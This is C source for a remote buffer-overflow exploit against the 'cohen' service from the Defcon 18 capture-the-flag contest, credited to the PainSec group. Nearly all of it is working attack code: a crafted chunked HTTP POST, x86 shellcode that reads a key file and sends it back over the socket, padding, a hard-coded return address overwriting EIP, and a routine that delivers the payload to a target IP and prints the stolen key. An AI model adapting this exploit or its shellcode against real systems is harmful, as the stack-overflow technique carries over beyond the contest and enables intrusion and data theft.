/***************************************************************************
 *            cohen.c
 *
 *  Fri Aug 6 17:14:33 CEST 2010
 *  Copyright  2010  Jaime Penalba Estebanez (NighterMan)
 *  Copyright  2010  Shellcode by knx & BatchDrake
 *  Copyright  2010  PainSec Security Research Group
 *
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\__\_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 *  Exploit for cohen service at Defcon 18 CTF
 * 
 ****************************************************************************/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>



/* The request which triggers the vuln */
char request[] =
"POST /ete HTTP/1.1\r\n"
"host: x\r\n"
"Content-Length: 98\r\n"
"Transfer-Encoding: Chunked\r\n"
"200\r\n";

/* Shellcode which reads key file and writes it to FD 4 */
char shellcode[] =
"\x90\x90\x90\x90"
"\xeb\x4e\xcd\x80\xc3\x5e\x31\xc0\x88\x46\x03\x50\x56\x04\x05"
"\xe8\xee\xff\xff\xff\x59\x59\x93\x31\xc9\x31\xd2\x80\xc1\x03"
"\x80\xc2\x04\x8d\x7e\x04\x6a\x01\x57\x53\x89\xc8\xe8\xd3\xff"
"\xff\xff\x34\x01\x75\x14\x6a\x01\x57\x6a\x04\x89\xd0\xe8\xc3"
"\xff\xff\xff\x81\xec\xe8\xff\xff\xff\xeb\xdd\x31\xc0\x04\x01"
"\xe8\xb2\xff\xff\xff\xe8\xb0\xff\xff\xff\x6b\x65\x79\x58\x42";

/* EIP addr to be set */
unsigned char eip_addr[] =
"\x2a\xe3\xbf\xbf";



int open_connection(int *pconex, char *dip, int dport)
{
   struct sockaddr_in cdata;
   struct timeval timeout;

   timeout.tv_sec = 3;
   timeout.tv_usec = 0;

   /* Set socket options and create it */
   inet_aton(dip, &cdata.sin_addr);
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;

   *pconex = socket(AF_INET, SOCK_STREAM, 0);
   if( *pconex < 0 )
      exit(printf("Socket error\n"));

   /* Set socket timeout (Not working on Linux?) */
   if ( setsockopt(*pconex, SOL_SOCKET, SO_RCVTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0) {
      perror("setsockopt SO_RCVTIMEO: ");
   }
   if ( setsockopt(*pconex, SOL_SOCKET, SO_SNDTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0) {
      perror("setsockopt SO_SNDTIMEO: ");
   }

   return connect(*pconex,(struct sockaddr *) &cdata, sizeof(cdata));
}


int main(int argc, char *argv[])
{
   /* The buffer to hold the full request */
   char bufako[8128];

   int x = 0;      // Maybe a counter?
   int conex = 0;  // Connection descriptor
   int wrote = 0;  // Wrote bytes to check the write


   /* Build the hole request to be sent */
   strcat(bufako, request);
   strcat(bufako, shellcode);

   /* Fill with shit till EIP overwrite */
   for (x=(strlen(bufako));x<257;x++)
      bufako[x] = 'Ñ';

   strcat(bufako, eip_addr);
   strcat(bufako, "\r\n\r\n");
   /* Finished building the request */


   if (open_connection(&conex, argv[1], 7532)) {
      printf("Couldnt connect\n");
      return 1;
   }

   wrote = write(conex, bufako, strlen(bufako));
   printf("Payload sent\nKey: ");

   bzero(bufako, 8128);
   while(read(conex, bufako, 8128) > 0) {
      printf("%s", bufako);
   }

   return 0;

}
